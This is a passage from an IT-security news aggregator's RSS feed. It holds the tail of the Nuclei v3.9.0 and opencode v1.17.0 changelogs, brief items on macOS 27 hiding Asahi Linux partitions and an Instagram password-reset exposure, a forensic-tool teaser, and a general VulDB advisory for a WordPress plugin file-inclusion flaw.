<li>Fixed runner to write unsigned-templates warning (WRN) to stderr by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChrisJr404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChrisJr404">@ChrisJr404</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372196340" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7371" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7371/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7371">#7371</a></li>
<li>Fixed <code>InternalEvent</code> access serialization in interactsh by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191610828" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7322" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7322/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7322">#7322</a></li>
<li>Fixed workflow to ensure context is properly propagated to child and race steps by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401642548" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7383" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7383/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7383">#7383</a></li>
<li>Fixed reporting/gitlab by bumping client-go to v1.9.1 and widening IDs to int64 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ShubhamRasal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ShubhamRasal">@ShubhamRasal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428259573" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7398" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7398/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7398">#7398</a></li>
<li>Fixed memogen to skip context correctly and auto-push scope to upstream by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489253031" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7419" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7419/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7419">#7419</a></li>
<li>Fixed a slice-bounds panic in telnetmini's ParseNTLMResponse when handling truncated NTLM challenges by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tejgokani/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tejgokani">@tejgokani</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515807786" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7425" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7425/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7425">#7425</a></li>
<li>Fixed SMBv1 probing in JS to occur after SMB2 negotiation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533452973" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7430" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7430/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7430">#7430</a></li>
<li>Fixed templates to reject unknown fields when loading JSON templates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tejgokani/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tejgokani">@tejgokani</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613949876" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7453" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7453/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7453">#7453</a></li>
<li>Fixed persistence of QueryAuthStrategy parameters in ApplyAuthStrategy by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akhilesharora/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akhilesharora">@akhilesharora</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463287445" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7410" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7410/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7410">#7410</a></li>
<li>Fixed loader to warn when templates are excluded by <code>.nuclei-ignore</code> tags by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dogancanbakir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dogancanbakir">@dogancanbakir</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4612509981" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7452" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7452/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7452">#7452</a></li>
</ul>
<h3>Other Changes</h3>
<ul>
<li>Splitted exact matches and pattern handling in catalog for improved performance by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mikhail5555/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mikhail5555">@mikhail5555</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4255332284" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7340" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7340/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7340">#7340</a></li>
<li>Updated README_PT-BR.md to reflect current project description and features by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gugacyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gugacyber">@gugacyber</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456081035" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7405" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7405/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7405">#7405</a></li>
<li>Fixed broken cloud scanning link by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dogancanbakir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dogancanbakir">@dogancanbakir</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469255793" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7413" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7413/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7413">#7413</a></li>
<li>Bumped pdsec modules + govaluate/aurora migration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dogancanbakir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dogancanbakir">@dogancanbakir</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469862647" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7414" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7414/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7414">#7414</a></li>
<li>Dropped vulnerable docker/docker dependency by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dogancanbakir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dogancanbakir">@dogancanbakir</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587466787" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7447" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7447/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7447">#7447</a></li>
<li>Used path-aware filesystem containment checks by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503116067" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7420" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7420/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7420">#7420</a></li>
<li>Centralized runtime session handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610350261" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7449" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7449/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7449">#7449</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChrisJr404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChrisJr404">@ChrisJr404</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372196340" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7371" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7371/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7371">#7371</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gugacyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gugacyber">@gugacyber</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456081035" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7405" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7405/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7405">#7405</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akhilesharora/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akhilesharora">@akhilesharora</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463287445" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7410" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7410/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7410">#7410</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tejgokani/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tejgokani">@tejgokani</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515807786" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7425" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7425/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7425">#7425</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/projectdiscovery/nuclei/compare/v3.8.0...v3.9.0"><tt>v3.8.0...v3.9.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[macOS 27 Golden Gate Breaks Asahi Linux — What It Means and How to Recover]]></title>
<description><![CDATA[macOS 27 Golden Gate beta changed the boot picker behavior on Apple Silicon Macs, hiding Asahi Linux partitions from view. The partition data is intact, but you cannot boot into Linux. This guide covers three verified recovery methods and what the Asahi team is doing about it.]]></description>
<link>https://tsecurity.de/de/3586446/linux-tipps/macos-27-golden-gate-breaks-asahi-linux-what-it-means-and-how-to-recover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3586446/linux-tipps/macos-27-golden-gate-breaks-asahi-linux-what-it-means-and-how-to-recover/</guid>
<pubDate>Wed, 10 Jun 2026 06:40:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[macOS 27 Golden Gate beta changed the boot picker behavior on Apple Silicon Macs, hiding Asahi Linux partitions from view. The partition data is intact, but you cannot boot into Linux. This guide covers three verified recovery methods and what the Asahi team is doing about it.]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.17.0]]></title>
<description><![CDATA[Core
Improvements

Faster file search across large projects with the new fff-backed search tools. (@dmtrKovalenko)
Added X-Session-Id headers for proxy setups that need sticky routing. (@songchaow)
Added Cohere North model support.
Added reasoning as an interleaved field option for vLLM providers...]]></description>
<link>https://tsecurity.de/de/3586357/downloads/v1170/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3586357/downloads/v1170/</guid>
<pubDate>Wed, 10 Jun 2026 05:16:56 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Improvements</h3>
<ul>
<li>Faster file search across large projects with the new <code>fff</code>-backed search tools. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmtrKovalenko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmtrKovalenko">@dmtrKovalenko</a>)</li>
<li>Added <code>X-Session-Id</code> headers for proxy setups that need sticky routing. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/songchaow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/songchaow">@songchaow</a>)</li>
<li>Added Cohere North model support.</li>
<li>Added <code>reasoning</code> as an interleaved field option for vLLM providers. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/delta9000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/delta9000">@delta9000</a>)</li>
<li><code>mcp add</code> now works in non-interactive flows.</li>
<li><code>auth logout</code> now supports search when choosing an account.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Improved MCP connection status messages so failures are easier to act on.</li>
<li>Added Claude Fable reasoning support.</li>
<li>MCP tool calls now receive abort signals, so cancellations stop more reliably.</li>
<li>MCP catalogs now paginate correctly instead of truncating larger lists.</li>
<li>OpenRouter reasoning variants now generate for all models. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnthonyMLau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnthonyMLau">@AnthonyMLau</a>)</li>
<li>Added MiniMax M3 thinking toggle support.</li>
<li>Java multi-module Maven workspaces now resolve JDTLS from the topmost <code>pom.xml</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/areyouok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/areyouok">@areyouok</a>)</li>
<li>MCP servers now respect advertised capabilities.</li>
<li>Session lists now respect directory filters in workspace setups. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rexdotsh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rexdotsh">@rexdotsh</a>)</li>
<li>Sessions can recover once from provider context-overflow errors instead of failing immediately.</li>
<li>Bedrock Mantle config now honors configured API key and region settings.</li>
</ul>
<h2>TUI</h2>
<h3>Improvements</h3>
<ul>
<li>The session move flow now highlights project copies more clearly and keeps the current location selected.</li>
<li>Project copies can now be deleted directly from the move dialog.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>New project copies are now bootstrapped before the TUI switches into them.</li>
<li>Moving a session now injects a reminder about the new working directory.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Added a help button to the tabs bar.</li>
<li>Prompt drafts are preserved while you switch tabs.</li>
<li>File attachments now open in the active project.</li>
<li>App updates now stay responsive and persist across restarts.</li>
<li>Added WSL-backed Desktop support and WSL server management on Windows.</li>
<li>Improved the sessions list UI. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
<li>Improved the servers UI. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Updated Electron and fixed related panel layout issues.</li>
<li>Fixed several WSL Desktop bugs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neriousy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neriousy">@neriousy</a>)</li>
<li>Hidden agents no longer get cycled accidentally.</li>
<li>MCP status now refreshes when the active directory changes.</li>
<li>The Home screen now keeps a larger recent-session list with scrolling.</li>
</ul>
<h2>SDK</h2>
<h3>Improvements</h3>
<ul>
<li>Large v2 tool outputs are now bounded and expose retained output paths for follow-up inspection.</li>
</ul>
<p><strong>Thank you to 11 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rexdotsh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rexdotsh">@rexdotsh</a>:
<ul>
<li>fix(session): respect directory filter with workspaces (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591433438" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30804" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30804/hovercard" href="https://github.com/anomalyco/opencode/pull/30804">#30804</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>:
<ul>
<li>feat(app): improve servers UI (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597355284" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30961" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30961/hovercard" href="https://github.com/anomalyco/opencode/pull/30961">#30961</a>)</li>
<li>feat(app): updates to project avatar (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597497843" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30964" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30964/hovercard" href="https://github.com/anomalyco/opencode/pull/30964">#30964</a>)</li>
<li>feat(app): sessions list improvements (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596671308" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30941" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30941/hovercard" href="https://github.com/anomalyco/opencode/pull/30941">#30941</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dmtrKovalenko/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dmtrKovalenko">@dmtrKovalenko</a>:
<ul>
<li>feat(opencode): fff search tools (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457497848" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/27802" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/27802/hovercard" href="https://github.com/anomalyco/opencode/pull/27802">#27802</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fancive/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fancive">@fancive</a>:
<ul>
<li>docs: fix MCP header interpolation example to {env:VAR} (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602449558" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31078" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31078/hovercard" href="https://github.com/anomalyco/opencode/pull/31078">#31078</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robertDouglass/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robertDouglass">@robertDouglass</a>:
<ul>
<li>fix(tui): sort connect providers alphabetically (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4595136306" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30891" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30891/hovercard" href="https://github.com/anomalyco/opencode/pull/30891">#30891</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neriousy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neriousy">@neriousy</a>:
<ul>
<li>fix(desktop): few WSL bugs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602770815" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31095" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31095/hovercard" href="https://github.com/anomalyco/opencode/pull/31095">#31095</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/areyouok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/areyouok">@areyouok</a>:
<ul>
<li>fix(lsp): resolve JDTLS root to topmost pom.xml in Java Maven multi-module projects (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499333332" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/28761" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/28761/hovercard" href="https://github.com/anomalyco/opencode/pull/28761">#28761</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/remorses/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/remorses">@remorses</a>:
<ul>
<li>fix(session): merge per-call tool rules into session permission (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4578211404" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30529" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30529/hovercard" href="https://github.com/anomalyco/opencode/pull/30529">#30529</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnthonyMLau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnthonyMLau">@AnthonyMLau</a>:
<ul>
<li>fix(opencode): generate reasoning variants for all OpenRouter models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568966602" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30332" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30332/hovercard" href="https://github.com/anomalyco/opencode/pull/30332">#30332</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/delta9000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/delta9000">@delta9000</a>:
<ul>
<li>feat: add "reasoning" as interleaved field option for vLLM providers (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4575756791" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30477" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30477/hovercard" href="https://github.com/anomalyco/opencode/pull/30477">#30477</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/songchaow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/songchaow">@songchaow</a>:
<ul>
<li>feat: add X-Session-Id header for proxy cache routing affinity (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621808397" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/31511" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/31511/hovercard" href="https://github.com/anomalyco/opencode/pull/31511">#31511</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Instagram Password Reset Glitch Exposes User Contact Info]]></title>
<description><![CDATA[Instagram suffered a brief but significant security incident on June 6, 2026, when a programming error in its password reset system exposed the full contact details of users attempting to recover their accounts. This article has been indexed from CyberMaterial…
Read more →
The post Instagram Pass...]]></description>
<link>https://tsecurity.de/de/3584602/it-security-nachrichten/instagram-password-reset-glitch-exposes-user-contact-info/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584602/it-security-nachrichten/instagram-password-reset-glitch-exposes-user-contact-info/</guid>
<pubDate>Tue, 09 Jun 2026 15:07:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Instagram suffered a brief but significant security incident on June 6, 2026, when a programming error in its password reset system exposed the full contact details of users attempting to recover their accounts. This article has been indexed from CyberMaterial…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/instagram-password-reset-glitch-exposes-user-contact-info/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/instagram-password-reset-glitch-exposes-user-contact-info/">Instagram Password Reset Glitch Exposes User Contact Info</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How XRY Pro Helped Recover Critical Evidence From A Non-Responsive Smartphone]]></title>
<description><![CDATA[See how XRY Pro helped investigators recover critical evidence from a non-responsive smartphone in a child abuse investigation.]]></description>
<link>https://tsecurity.de/de/3584199/it-security-nachrichten/how-xry-pro-helped-recover-critical-evidence-from-a-non-responsive-smartphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584199/it-security-nachrichten/how-xry-pro-helped-recover-critical-evidence-from-a-non-responsive-smartphone/</guid>
<pubDate>Tue, 09 Jun 2026 12:52:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[See how XRY Pro helped investigators recover critical evidence from a non-responsive smartphone in a child abuse investigation.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-9662 | plasmatizemedia Recover Exit for WooCommerce Plugin up to 1.0.3 on WordPress include filename control (EUVD-2026-35301)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in plasmatizemedia Recover Exit for WooCommerce Plugin up to 1.0.3 on WordPress. This affects the function include. This manipulation causes improper control of filename for include/require statement in php program ('php remote file inclusio...]]></description>
<link>https://tsecurity.de/de/3583952/sicherheitsluecken/cve-2026-9662-plasmatizemedia-recover-exit-for-woocommerce-plugin-up-to-103-on-wordpress-include-filename-control-euvd-2026-35301/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583952/sicherheitsluecken/cve-2026-9662-plasmatizemedia-recover-exit-for-woocommerce-plugin-up-to-103-on-wordpress-include-filename-control-euvd-2026-35301/</guid>
<pubDate>Tue, 09 Jun 2026 11:09:39 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/plasmatizemedia:recover_exit_for_woocommerce_plugin">plasmatizemedia Recover Exit for WooCommerce Plugin up to 1.0.3</a> on WordPress. This affects the function <code>include</code>. This manipulation causes improper control of filename for include/require statement in php program ('php remote file inclusion').

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-9662">CVE-2026-9662</a>. Remote exploitation of the attack is possible. No exploit is available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[LFI Escalation Lab Writeup [CyberDefenders]]]></title>
<description><![CDATA[You can read this writeup on my GitBook account LinkScenarioIT staff reported unusual behavior on a workstation running a web application, triggered by an antivirus detection of a suspicious file. Early indicators suggest the website may have served as the entry point.Your task is to investigate ...]]></description>
<link>https://tsecurity.de/de/3583944/hacking/lfi-escalation-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583944/hacking/lfi-escalation-lab-writeup-cyberdefenders/</guid>
